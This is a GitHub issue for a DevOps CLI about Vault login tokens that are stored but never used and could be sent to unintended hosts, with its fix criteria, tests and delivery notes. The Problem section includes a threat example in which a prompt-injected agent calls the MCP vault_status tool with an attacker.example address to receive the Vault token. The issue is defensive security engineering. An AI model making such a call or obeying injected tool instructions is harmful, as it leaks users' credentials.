Skip to content

feat(security): vault commands use the token devops vault login stores #709

Closed

Description

@dan-petty

Problem

devops vault login writes the token Vault issues to the OS keyring under vault_token. --store is the default (src/devops_cli/commands/vault.py:257-259,298-301). Nothing reads that entry back: grep -rn vault_token src/devops_cli finds the one write and no read. VaultSecretBroker takes its token only from its argument, VAULT_TOKEN or DEVOPS_CLI_VAULT_TOKEN (security/vault_broker.py:90-92). So after a successful login every command still builds a broker with no token (commands/vault.py:74,129,176,227,327).

What each consumer does today when it has no token:

  • vault get skips Vault and returns the keyring entry named after the key or the last path segment (vault_broker.py:134-141). The output does not say where the value came from. The not-found message says it "checked Vault and OS Keyring" even when Vault was skipped (commands/vault.py:139-142).
  • vault sync reads through the same fallback. It gets a string or nothing instead of a dict, then prints "Synchronized 0 secret(s)" and exits 0 (vault_broker.py:195-199, commands/vault.py:237-238).
  • vault set posts without a token. Vault refuses, and the user sees only "Failed to write secrets to Vault" (vault_broker.py:143-163, commands/vault.py:196-201).
  • vault leases --revoke passes broker.vault_token, which is None, to LeaseRegistry. Its token field is optional (commands/vault.py:336-342, security/vault_lease.py:166). Vault refuses, and revoke logs the HTTP status at debug level and returns False (vault_lease.py:58-61,257-271). The user sees only "Could not revoke lease" (commands/vault.py:347).
  • devops gh secrets sync --source vault resolves each name through the same fallback (github/secrets.py:121-125). With no token it uploads the local keyring value to GitHub Actions, and the result row reports the source as vault (github/secrets.py:183-222).
  • VaultProvider in the shared secret chain gets nothing from Vault. It reads the keyring key again even though KeyringProvider already missed it (security/secrets.py:236-253,338).

Having a token does not fix this on its own. _fetch_vault_kv2_secret returns None on any non-200 reply or exception (vault_broker.py:115-116,121-123). Once a stored token expires or lacks a policy for the path, get_secret silently falls back to the keyring again, and the user cannot tell that Vault refused.

Reading the stored token by default also widens where a token can be sent. Three paths carry it today, but only when VAULT_TOKEN is exported:

  • vault status needs no token, because sys/health is unauthenticated. Even so, get_status sends _get_headers() (vault_broker.py:177), which adds X-Vault-Token whenever the broker has a token (vault_broker.py:95-98). vault status --addr X builds the broker for any address (commands/vault.py:63-74). The MCP tool vault_status(vault_addr) passes the client's value to --addr unchecked (ai/mcp/server.py:1506-1512) and runs in-process (server.py:71-79). Vault calls allow private networks (vault_broker.py:113,158,179), so validate_service_url checks only the scheme and cloud-metadata hosts (core/validation.py:263-317,318-324), and any host is accepted. fix(security): the mcp telemetry_profile tool runs any program an mcp client names #980 states that MCP calls are untrusted input. A prompt-injected agent can therefore call vault_status(vault_addr="https://attacker.example") and receive the token in a header.
  • vault login stores only the token, not the address or namespace that issued it (commands/vault.py:301). A stored token would go to whatever VAULT_ADDR a later command uses.
  • The shared HTTP client follows redirects (http/broker.py:75,98). httpx2 2.13.0 strips only Authorization on a cross-origin redirect (httpx2/_client.py:530-534). It also carries the request's extensions, including allow_private_network, to the next hop (_client.py:469). So X-Vault-Token follows a redirect to another host. On a 307 or 308, so does a login body carrying a secret_id or a ServiceAccount JWT (vault_lease.py:39-65,107-112,147-152).

The allow_private_network=True on Vault calls is intended (AGENTS.md:416). The defect is that the token reaches an address the user did not configure.

Login has three gaps of its own:

  • It ignores the result of set_keyring_secret (commands/vault.py:301), which returns False when the keyring is locked (config/settings.py:703-710). In two other cases the token goes to an in-process dict that is lost when the command exits (settings.py:680-691): DEVOPS_CLI_HEADLESS_AUTH is set, or _ensure_keyring_backend() finds no encrypted backend (settings.py:116-134). In every one of these cases login still prints success.
  • That in-process case is the normal state of CI runners and pods without a Secret Service. Those are the environments the AppRole and Kubernetes methods exist for (vault_lease.py:3-6,116-153). devops-cli never prints the token it obtains, so a login there does nothing that lasts beyond the command.
  • Nothing in src/ deletes a keyring entry (grep -rn delete_password src/devops_cli finds only knowledge-base text), so there is no way to remove a stored token.

Nothing in this area has changed since this issue was written on 2026-09-28. No commit after v0.2.23 touches commands/vault.py, security/vault_broker.py, security/vault_lease.py, security/secrets.py or github/secrets.py. None of the 2026-10-02 merges (#945 #946 #947 #957 #961 #962 #966 #971 #973 #976 #978 #979) touches Vault. Every file:line in the earlier body still holds, with one exception: http/broker.py:59-68 no longer shows lazy client creation, which is now at http/broker.py:83,94.

Acceptance criteria

Token resolution

  • VaultSecretBroker resolves its token in this order:

    1. the vault_token argument;
    2. the stored login token in the keyring, used only when its address and namespace match the broker's;
    3. VAULT_TOKEN;
    4. DEVOPS_CLI_VAULT_TOKEN.

    Keyring before environment is the order build_default_resolver documents (security/secrets.py:334-338). The broker's docstring states this order.

  • vault login stores one keyring record holding three things: the token, the Vault address it logged in to (normalized as the broker normalizes it, vault_broker.py:71-76), and the namespace, or none. The keyring key is one constant in config/constants.py, and both vault login and the broker use it. An entry that is not such a record, for example a bare token written before this change, is unusable, and the message says to run devops vault login again. There is no migration.

  • The broker looks up the keyring record and the environment variables through the shared resolver, with two SecretRefs that have no vault_path. As a result, devops vault audit records both lookups, and VaultProvider cannot recurse into the broker.

  • The broker records which source supplied the token: argument, keyring, environment or none. When it skips a stored token, it also records why (issued for another address or namespace, or unreadable). It never records the value.

  • vault status needs no token. It adds a "Token" row that names the source, or "none". When a stored token was skipped, the row says so and names the address that issued it.

  • Dry runs of get, set, sync and leases include the token source in their details and never fail because a token is missing.

Where a token is sent

  • get_status never sends X-Vault-Token, whatever token the broker holds. This applies both to vault status --addr and to the MCP tool vault_status.
  • The stored token is sent only to the address and namespace it was issued for. A command whose effective address or namespace differs does not use it. It falls through to VAULT_TOKEN and DEVOPS_CLI_VAULT_TOKEN, and if neither is set, it fails as "no token" and names the issuing address.
  • Every Vault request, in VaultSecretBroker and in vault_lease._post, carries an egress policy through the existing per-hop hook (CONST_HTTP_EGRESS_POLICY_EXTENSION, http/broker.py:59-60). The policy refuses any hop outside the origin of the Vault address. A refused redirect fails the command with a message naming the target origin. Neither the token nor a login body is sent there.
  • vault sync never writes the login-token key. A Vault field with that name is skipped, and the output says so.

Missing or rejected token

  • With no usable token, vault set, vault sync and every vault leases mode exit 1 before any HTTP request. The message names devops vault login, VAULT_TOKEN and DEVOPS_CLI_VAULT_TOKEN. It follows the missing/rejected wording of credentials_error from fix(ai): an unset API key fails as a generic network error instead of naming the missing key #465 (ai/client/models.py:72-85).
  • When Vault answers 401 or 403, the command exits 1. The message says that Vault rejected the token from the named source and gives the HTTP status. It says that the token may have expired, been revoked, or have no policy for the path, and it names devops vault login. No keyring fallback follows a rejection.
  • When Vault refuses vault leases --revoke X, the message includes the HTTP status Vault returned, not only "Could not revoke lease".

Vault-only reads

  • vault get reads Vault when it has a token. It falls back to the keyring only in three cases: there is no usable token, Vault has no secret at the path (404), or Vault is unreachable. It never falls back after a 401 or 403, or after a refused redirect. The output names the source that answered. The not-found message names only the sources that were actually checked.
  • vault sync reads Vault only and never treats a keyring value as Vault data. A path with no secret exits 1 instead of printing "Synchronized 0 secret(s)".
  • devops gh secrets sync --source vault reads Vault only. A missing or rejected token fails the command through the existing handler (commands/gh.py:1776-1778) with the token message, and nothing is uploaded. A key that is absent from Vault is reported as missing and never filled from the keyring.
  • VaultProvider reads Vault only, since KeyringProvider has already tried the keyring. It makes no request when there is no usable token. It still returns None on any Vault failure, so one source cannot break resolution.

Login and logout

  • When --store is in effect and the token did not reach the OS keyring, vault login exits 1 with the reason. That covers two cases: set_keyring_secret returned False, or the write went to the in-process store (settings.py:680-691). The message names --no-store as the way to check the credentials without keeping a token. It also says that runs without an OS keyring, such as CI runners and pods, take VAULT_TOKEN from their platform's Vault integration. The token is never printed.
  • The help for --no-store says that it checks the credentials without keeping the token, and that this is the form for CI and in-cluster runs. The help for --method kubernetes says the same.
  • A new devops vault logout revokes the stored token at the address and namespace stored with it. It calls auth/token/revoke-self, a new constant beside config/constants.py:1590-1600. It then deletes the record from the keyring. If Vault is unreachable or the token has already expired, it still deletes the local copy and says that the revoke did not happen. With no stored token, it says so and exits 0.

Types

  • LeaseRegistry.token becomes a required str (vault_lease.py:166), and so does token on transit_encrypt and transit_decrypt (vault_lease.py:315,348). mypy --strict (.github/workflows/ci.yml:57) then refuses token=broker.vault_token (commands/vault.py:339) until the command handles the missing case.

Tests (offline: HttpClientBroker.request patched, or httpx2.MockTransport for redirects; keyring patched; example.com hosts only)

  • With the environment unset and a keyring record for the broker's address, the broker sends the token, and the reported source is the keyring.
  • With both a matching keyring record and VAULT_TOKEN set, the keyring wins. The argument beats both.
  • A record stored for https://example.com:8200 is not sent when VAULT_ADDR is https://example.com:8201. The same holds for a record with a different namespace. With VAULT_TOKEN also set, the environment token is sent. Without it, vault status names the issuing address, and vault set exits 1 before any request.
  • A bare-string vault_token entry is not sent, and the message says to log in again.
  • With a matching record, and separately with VAULT_TOKEN set, vault status --addr https://example.com sends no X-Vault-Token. The same holds for the MCP tool vault_status(vault_addr="https://example.com").
  • A 307 from https://example.com:8200 to https://example.com:8443 is refused for a token-carrying GET and for a login POST, and no request reaches the second origin. A same-origin redirect is still followed.
  • The MCP tools that run with a token (vault_get, vault_set, vault_sync) have no address parameter (signature test).
  • vault sync of a secret whose fields include the login-token key leaves the stored record unchanged.
  • With no usable token, vault set, vault sync and vault leases --revoke X exit 1 naming the three sources, and no request is made.
  • On a 403, vault get exits 1 and does not read the keyring fallback, and gh secrets sync --source vault uploads nothing.
  • On a 404 with a token, vault get answers from the keyring and says so.
  • VaultProvider with no token makes no request. With a token and a 403, it returns None.
  • Resolving the broker token through the shared resolver does not construct a second broker.
  • When set_keyring_secret returns False, vault login exits 1. With DEVOPS_CLI_HEADLESS_AUTH=1 and the default --store, it exits 1 and names --no-store. With --no-store, it exits 0 and stores nothing. On success, it writes one record under the constant key, holding the token, address and namespace.
  • vault logout revokes at the stored address even when VAULT_ADDR now points elsewhere, then deletes the record. With Vault unreachable, it still deletes the record and says so.
  • test_registry_headers_omit_absent_credentials (tests/test_secret_resolution.py:698-702) is replaced by a test showing that the headers always carry the token. The tests that pin the old fallback (tests/test_vault_broker.py:60-68,142-162) change with it.
  • No test leaves a Vault token in the process-wide in-process store (settings.py:627), so the suite's secret lookups never reach Vault.
  • uv run devops ci passes.

Person-run check (needs a dev Vault; not part of CI)

  • Run devops vault login --method approle --role-id ... --secret-id ..., then devops vault status. It shows Token: keyring.
  • devops vault get <path> answers from Vault.
  • With VAULT_ADDR changed to another address, devops vault status says that the stored token is not used and names the address that issued it.
  • After devops vault logout, devops vault get <path> says that there is no token and that Vault was not consulted.

Key questions

  • Should the keyring come before VAULT_TOKEN? Proposed: yes, when the stored token was issued for the current address and namespace. That is the uniform chain from feat(security): unify secret resolution and manage Vault lease lifecycle #353 (security/secrets.py:334-338, and the note at config/settings.py:958-964). The cost is that a stale stored token for the same Vault shadows an exported VAULT_TOKEN. vault login replaces the stored token and vault logout removes it, which is why logout is part of this item. A token stored for another address no longer shadows anything. The alternative is environment first, as HashiCorp's CLI does it. That would make this one secret an exception to the uniform order.
  • Should the stored token be bound to the address and namespace that issued it? Proposed: yes. HashiCorp's own token helper (~/.vault-token) does not bind, but here the address can come from an untrusted caller (the MCP vault_status tool today), and a user may point VAULT_ADDR at a dev Vault and a production Vault in turn. Binding costs two fields in the record, and vault logout needs the address anyway. VAULT_TOKEN stays unbound. It is the user's explicit, per-shell choice, the same as with HashiCorp's CLI.
  • Does refusing cross-origin redirects break Vault HA? Proposed: no, not in the default setup. Standby nodes forward requests to the active node by default. A 307 to the active node happens only when request forwarding is off or failing. In that case, the refusal message names the target origin, so the user can set VAULT_ADDR to it or to a load balancer in front of the active node. httpx2 already strips Authorization on a cross-origin redirect (httpx2/_client.py:530-534), and X-Vault-Token gets the same treatment here.
  • How do CI runners and pods without an OS keyring get a usable token? Proposed: that is out of scope. Those runs supply VAULT_TOKEN from their own Vault integration (Vault Agent, the Vault CSI provider, or the CI system's Vault plugin). There, devops vault login --no-store is a credential check. The --no-store and --method kubernetes help says so, and the failure message for --store points to it. The other option, where the broker logs in on demand from AppRole credentials or the ServiceAccount token, would add a second token source with its own lifetime and renewal. That belongs with the lease work that has no producer yet (see "Out of scope").
  • Should vault get keep its keyring fallback? Proposed: yes. The keyring is the offline cache that vault sync fills (commands/vault.py:220). The fallback applies only with no usable token, on a 404, or when Vault is unreachable. It never applies after a 401 or 403, or after a refused redirect. The output always names the source.
  • Should the Vault token become a config option in KEYRING_KEYS (config/options.py:236-248)? Proposed: no. vault login writes the record, and CI uses the environment. refactor(github): one github session per identity owning token, quota and transport #767 (v0.2.26) is also reshaping that registry. One constant for the keyring key is enough.
  • Which error does a missing or rejected token raise? Proposed: VaultAuthenticationError (exceptions/vault.py:89-111, VAULT_AUTH_ERROR), with its docstring widened from login failures to "no usable token". Commands report it through exit_on_error (core/cli.py:184-198).
  • Does reading the stored token widen what MCP clients can do? Proposed: yes. This item contains it with the criteria above and adds no other gate. The four Vault tools run in-process (ai/mcp/server.py:71-79) and so act with the user's Vault identity:
    • vault_status is the only tool where the client chooses the address (server.py:1506-1512). It never sends a token.
    • vault_get (server.py:1515-1520) gets its address from the environment. Its path is checked by VAULT_PATH_PATTERN and validate_no_path_traversal (commands/vault.py:25,44-55), so the client cannot change the host. The tool passes no --show, so values come back redacted (commands/vault.py:144-150). Field names are visible.
    • vault_set and vault_sync (server.py:2007-2026) write with the user's token, the same way the gh tools act with the stored GitHub token. feat(mcp): mcp tools declare ToolAnnotations, and mutating tools require approval in devops-cli's own agent loop #857 (v0.2.28) annotates them as mutating, but gates them only in devops-cli's own agent loop. External clients rely on their own permission prompts. The binding and the redirect refusal keep any of these from sending the token to a host the user did not configure. The signature test keeps an address parameter from being added to the token-carrying tools.
  • What does a stored token cost lookups in the shared chain? Proposed: no change in this item. With a stored token, a keyring miss now asks Vault, bounded by the 0.8 s probe timeout per lookup (config/defaults.py:456). That is feat(security): unify secret resolution and manage Vault lease lifecycle #353's design, and an exported VAULT_TOKEN already costs the same. No caching is added.
  • Do vault leases listing and --renew become useful? Proposed: no, and that is out of scope. Nothing outside vault_lease.py calls .track( (only vault_lease.py:199), and the registry lives for one process (commands/vault.py:27-41). Only --revoke does real work.
  • Should Rust-style type-state be ported? Proposed: no. Python cannot consume self, and the other wrappers already connect on first use (valkey/client.py:194-195, http/broker.py:83,94). A required str token, checked by mypy --strict, is the check.
  • Should hvac be added? Proposed: no. feat(security): unify secret resolution and manage Vault lease lifecycle #353 kept Vault on the shared, egress-validated HTTP broker, and hvac would bypass it. It also would not read this project's keyring entry.
  • Is this a critical fix? Proposed: no. It is a P1 defect. No Vault ships with the stack, so it is the first item to wait if v0.2.29 runs short of slots. The token-exposure criteria ship in the same PR as the stored-token read, never after it.

Out of scope, as separate issues (not yet filed): LeaseRegistry has no producer and lives for one process; SqliteStepStore raises a bare AssertionError after close() (ai/durable.py:134,153,177).

Depends on: none.

Related: #353 (unified chain and Vault lease lifecycle), #465 (credential message style), #767 (v0.2.26, changes the secret registry in security/secrets.py; this item lands after it), #857 and #839 (v0.2.28, MCP vault tools: annotations, and failing output reaching the client), #980 (v0.2.25, MCP calls are untrusted input), #688 (backlog, the secops tab shows the token's TTL). Within v0.2.29, no other item touches the Vault or secret-resolution files, so the order is free.

Source: vibes observations/polyglot/01-rust-type-state-invariants.md.

Update 2026-10-08: delivered scope

Update 2026-10-08 (delivered scope)

Delivered on fix/709-vault-stored-login-token as one change. All acceptance criteria are met except the person-run check, which needs a dev Vault.

How the delivered scope differs from the body:

  • Login persistence (amended): with --store, vault login calls require_persistent_keyring() before the login request, so Vault issues no orphan token. It writes the record with keyring_write() (both helpers added in v0.2.26) and does not look at set_keyring_secret's bool or the in-memory store. The criterion "set_keyring_secret returns False" is now "keyring_write raises". Under DEVOPS_CLI_HEADLESS_AUTH, no login request is made. A new keyring_delete() (keyring.delete_password) serves vault logout.
  • Audit (amended): the audit trail records each token lookup the broker makes. The environment is not looked up when the stored record wins.
  • Outcomes the body left undefined:
    • A 200 whose secret lacks the requested field counts as "no value in Vault", the same as a 404. vault get falls back to the keyring; Vault-only reads report the field missing.
    • Any other non-2xx status (503 sealed, 429, 400) and a body without JSON secret data exit 1 with the status, with no fallback.
    • "Unreachable" means httpx2.TransportError, raised as the new VaultUnreachableError.
  • Locked keyring: the record is read through the shared resolver, so a locked keyring reads as "no stored token". The existing "OS keyring is locked" warning names the cause. vault logout uses keyring_read and exits 1 on a locked keyring.
  • Request path: every Vault request, broker and vault_lease._post alike, goes through the new security/vault_http.vault_request. It carries a same-origin policy on CONST_HTTP_EGRESS_POLICY_EXTENSION, comparing httpx2.URL.origin. fix(security): every HTTP client dials only addresses its egress level allows, checked at the connect and on every redirect #898 overlaps: whichever lands second moves vault_request onto fix(security): every HTTP client dials only addresses its egress level allows, checked at the connect and on every redirect #898's Vault client and keeps the policy extension.
  • Also changed:
    • VaultLeaseError carries status_code.
    • LeaseRegistry.revoke raises instead of returning False, and revoke_all returns the ids Vault refused.
    • A Vault refusal of vault login is reported, where it used to be a traceback.
    • vault sync exits 1 when requested fields are missing or the keyring refuses a write.
    • vault logout honours the global dry run. It deletes a bare vault_token entry without sending it anywhere, and exits 0 when only the revoke failed.
  • Dry run (feat(cli): reachable --dry-run previews for delegated commands #412): devops gh secrets sync --source vault --dry-run no longer reads Vault. Without this change, the stored token would have made that dry run send Vault requests for every logged-in user.
  • Corrected premises:
  • Accepted as-is: VaultProvider keeps the broker it built, so a long-lived process sees a later login or logout only after a restart.
  • Still open: the person-run check (login, status shows Token: keyring, get answers from Vault, a changed VAULT_ADDR shows the skipped token, logout, then get says no token).

Activity

  1. added this to the v0.2.24 milestone on Sep 28, 2026
  2. added
    type/feature
    scope/security
    priority/p2-medium
    on Sep 28, 2026
  3. modified the milestones: v0.2.24, v0.2.25 on Sep 30, 2026
  4. dan-petty commented on Sep 30, 2026

    @dan-petty
    OwnerAuthor

    Moved from v0.2.25 to the backlog. v0.2.25 is capped at 12 items (#740), and only the next two planned releases keep a milestone (#739), so P2 items wait in the backlog until reprioritization pulls them in.

  5. added
    priority/p1-high
    type/bug
    and removed
    type/feature
    priority/p2-medium
    on Oct 2, 2026
  6. dan-petty commented on Oct 2, 2026

    @dan-petty
    OwnerAuthor

    Grooming (2026-10-02): Priority p2-medium → p1-high. This is a defect, not a feature. After vault login --store, vault get silently returns the keyring value instead of Vault's, and leases --revoke fails. That is a broken command with secret-source confusion. It is the first to wait if slots run short, since no Vault ships here.

    Checked against the code at the release/v0.2.25 tip.

  7. added this to the v0.2.29 milestone on Oct 2, 2026
  8. dan-petty commented on Oct 2, 2026

    @dan-petty
    OwnerAuthor

    Placed in v0.2.29 on 2026-10-02. v0.2.29 holds P1 work that has to land before v0.3.0, which v0.2.25 to v0.2.28 had no room for. Backlog P1 items were ranked by Value, then Effort, with defects and security fixes first at a tie. This item ranked in the top ten, and two of the release's twelve slots stay open for P1 items that surface before then.

  9. dan-petty commented on Oct 2, 2026

    @dan-petty
    OwnerAuthor

    Refined to Ready on 2026-10-02 for v0.2.29. The body was checked claim by claim against release/v0.2.25 at 9c879ae, and a second agent then tried to refute it; every major objection was resolved in a revision. Cited lines were updated for code that moved, and the scope was corrected where merged work changed it. Acceptance criteria were tightened so each fails on the current code, and every key question now has a proposed answer.

  10. dan-petty commented on Oct 3, 2026

    @dan-petty
    OwnerAuthor

    Lines cited at dcafadf.

    What #898 changes for Vault

    • Every Vault call passes allow_private_network=True today: security/vault_broker.py:113, :158 and :179, and security/vault_lease.py:56. HttpClientBroker.request and arequest copy that flag into a request extension (http/broker.py:126-127, :152-153).
    • fix(security): every HTTP client dials only addresses its egress level allows, checked at the connect and on every redirect #898's first PR deletes that per-request flag and its extension. Vault gets its own client at the private-allowed policy level, and that client checks the address actually dialled.
    • Send the token-carrying requests through that client instead of passing allow_private_network per request.

    What this item keeps

    Both items are planned for v0.2.29. Whichever lands second adapts to the other.

  11. dan-petty-bot commented on Oct 8, 2026

    @dan-petty-bot
    Collaborator

    What changed

    #1377, merged into release/v0.2.29 as 3d3e6f5.

    Closes #709

    • Token resolution: VaultSecretBroker resolves its token from the argument, then the stored devops vault login record, then VAULT_TOKEN, then DEVOPS_CLI_VAULT_TOKEN. It uses the stored record only for the address and namespace that issued it. token_source records which one answered, and the shared resolver puts the lookups in the audit trail.
    • Where a token goes: get_status never sends a token, through the CLI, --addr or the MCP vault_status tool. Every Vault request goes through security/vault_http.py with a same-origin policy, so a redirect to another origin (307 included) is refused before a token or a login body is sent.
    • Failures: a missing, rejected (401/403) or misdirected token fails with a message that names the token source and the status. vault get falls back to the keyring only when there is no token, on a 404 or missing field, or when Vault is unreachable, and it says which source answered. vault sync, gh secrets sync --source vault and VaultProvider read Vault alone, and vault sync never writes the login key.
    • Login and logout: vault login --store checks the keyring before it logs in (the v0.2.26 persistent-keyring helpers) and stores a record bound to its address. The new vault logout revokes the token at the stored address, deletes the record, and honours dry run.
    • Swallowed errors removed: _fetch_vault_kv2_secret's catch-all and LeaseRegistry.revoke's debug-and-False are gone. `VaultLeas…

    24 file(s) changed.

    How it was verified

    Check runs at 9fa9c59:

    • Prune PR DevContainer Images: pass
    • CodeQL: pass
    • Static Analysis: pass
    • Analyze (actions): pass
    • Analyze (python): pass
    • Tests & Coverage: pass
    • DevContainer Image: skipping
    • Service Image: skipping
    • Dependency Freshness: skipping

    Acceptance Criteria of docs/agent/tasks/task-709-vault-commands-use-the-token-devops-vault-login-stores.md:

    Token resolution

    • VaultSecretBroker resolves argument, then the keyring record (only for its own address and namespace), then VAULT_TOKEN, then DEVOPS_CLI_VAULT_TOKEN; the docstring states the order (tests/test_vault_broker.py: test_stored_login_supplies_the_token_when_the_environment_has_none, test_keyring_outranks_the_environment_and_the_argument_outranks_both, test_devops_cli_vault_token_is_the_last_source).
    • vault login stores one record under CONST_VAULT_LOGIN_KEYRING_KEY holding the token, the normalized address and the namespace (test_login_stores_one_record_bound_to_the_issuing_vault); a bare-string entry is unusable and the message says to log in again (test_a_bare_token_entry_is_unusable). No migration.
    • The record and the environment are looked up through the shared resolver with two SecretRefs that carry no vault_path; devops vault audit records each lookup the broker makes, by name (test_token_lookups_are_audited_by_name_never_by_value), and VaultProvider builds no second broker (test_resolving_the_broker_token_builds_no_second_broker).
    • The broker records the token source and why a stored token was skipped, never the value (VaultTokenSource).
    • vault status needs no token and shows a Token row naming the source, or the address a skipped token was issued for (test_vault_status_names_the_stored_token, test_vault_status_names_the_address_a_skipped_token_was_issued_for).
    • Dry runs of get, set, sync and leases include the token source and make no request, with or without a token (test_dry_runs_name_the_token_source_and_make_no_request).

    Where a token is sent

    • get_status never sends X-Vault-Token, for vault status --addr and for the MCP vault_status tool (test_status_never_sends_a_token, test_mcp_vault_status_never_sends_a_token).
    • A stored token is sent only to the address and namespace it was issued for; otherwise the environment token is used, and without one the command fails as "no token" naming the issuing address (test_stored_login_for_another_vault_is_never_sent).
    • Every Vault request, in the broker and in vault_lease._post, goes through security/vault_http.vault_request, which sets a same-origin policy on CONST_HTTP_EGRESS_POLICY_EXTENSION; a 307 to another origin is refused for a token GET and for an AppRole login POST, nothing reaches the second origin, and the error names it; a same-origin redirect is still followed (test_a_redirect_to_another_origin_is_refused, test_a_login_body_never_follows_a_redirect_to_another_origin, test_a_same_origin_redirect_is_followed).
    • vault sync never writes the login-token key and says it skipped it (test_sync_reads_vault_alone_and_never_writes_the_login_key, test_vault_sync_reports_the_skipped_login_key_and_missing_fields).
    • The MCP tools that act with a token (vault_get, vault_set, vault_sync) take no address (test_the_token_carrying_vault_tools_take_no_address).

    Missing or rejected token

    • With no usable token, vault set, vault sync and every vault leases mode exit 1 before any request, naming devops vault login, VAULT_TOKEN and DEVOPS_CLI_VAULT_TOKEN in the missing/rejected wording of fix(ai): an unset API key fails as a generic network error instead of naming the missing key #465 (test_commands_needing_a_token_exit_before_any_request_without_one).
    • A 401 or 403 exits 1, naming the token's source, the status, the expired/revoked/no-policy hint and devops vault login, with no keyring fallback (test_a_rejected_token_raises_and_never_falls_back, test_vault_get_on_a_rejected_token_exits_without_reading_the_keyring, test_leases_revoke_with_a_rejected_token_names_its_source).
    • A refused vault leases --revoke X prints the HTTP status (test_leases_revoke_refusal_names_the_status).

    Vault-only reads

    • vault get reads Vault with a token and falls back to the keyring only with no usable token, on a 404 or a missing field, or when Vault is unreachable; the output names the answering source, and the not-found message names only the sources checked (test_no_value_in_vault_falls_back_to_the_keyring, test_an_unreachable_vault_falls_back_to_the_keyring, test_vault_get_not_found_names_only_the_sources_checked, test_vault_get_on_a_404_answers_from_the_keyring_and_says_so).
    • vault sync reads Vault only; a path with no secret exits 1 (test_vault_sync_of_an_empty_path_exits_1).
    • devops gh secrets sync --source vault reads Vault only: a rejected token fails the command through its handler and nothing is uploaded; an absent key is missing and never read from the keyring (tests/test_github_secrets.py).
    • VaultProvider reads Vault only, makes no request without a token, and returns None on a 403 (test_vault_provider_without_a_token_makes_no_request, test_vault_provider_with_a_rejected_token_answers_none).

    Login and logout

    • With --store, vault login checks for an encrypted, unlocked keyring before the login request and exits 1 naming --no-store and the CI/pod VAULT_TOKEN route when there is none (test_login_without_a_persistent_keyring_exits_before_logging_in), and exits 1 when the keyring refuses the write (test_login_fails_when_the_keyring_refuses_the_token). --no-store exits 0 and stores nothing. The token is never printed.
    • The --no-store and --method help name the no-store form for CI and in-cluster runs.
    • devops vault logout revokes at the stored address and namespace (auth/token/revoke-self, CONST_VAULT_PATH_TOKEN_REVOKE_SELF) even when VAULT_ADDR points elsewhere, then deletes the record; with Vault unreachable it still deletes and says the revoke did not happen; with no record it says so and exits 0; a bare entry is deleted without being sent anywhere; a dry run sends and deletes nothing (tests/test_vault_cmd.py, logout section).

    Types

    • LeaseRegistry.token and the token of transit_encrypt and transit_decrypt are a required str; vault leases passes broker.require_token().

    Tests

    • Offline only: HttpClientBroker.request patched, or stub_web for redirects (StubWeb.redirect takes a status); example.com hosts only.
    • test_registry_headers_omit_absent_credentials is replaced by test_registry_headers_always_carry_the_token; the fallback, revoke, VaultProvider and gh tests that pinned the old behaviour changed with it.
    • No test leaves a Vault token behind: the autouse isolate_vault_token fixture clears the login entry from the in-process store in place, resets the process-wide resolver (whose VaultProvider keeps its broker) and drops the session lease registry.
    • uv run devops ci passes.

    Person-run check (needs a dev Vault)

    • Pending a person: devops vault login --method approle --role-id <id> --secret-id <secret>, then devops vault status shows Token keyring; devops vault get <path> answers "(from vault)"; with VAULT_ADDR set to another address, devops vault status shows none (stored token not used: issued for <address>); after devops vault logout, devops vault get <path> says "Vault was not consulted: no usable token".
  12. added a commit that references this issue on Oct 8, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    priority/p1-highscope/securitytype/bug

    Type

    No type

    Projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions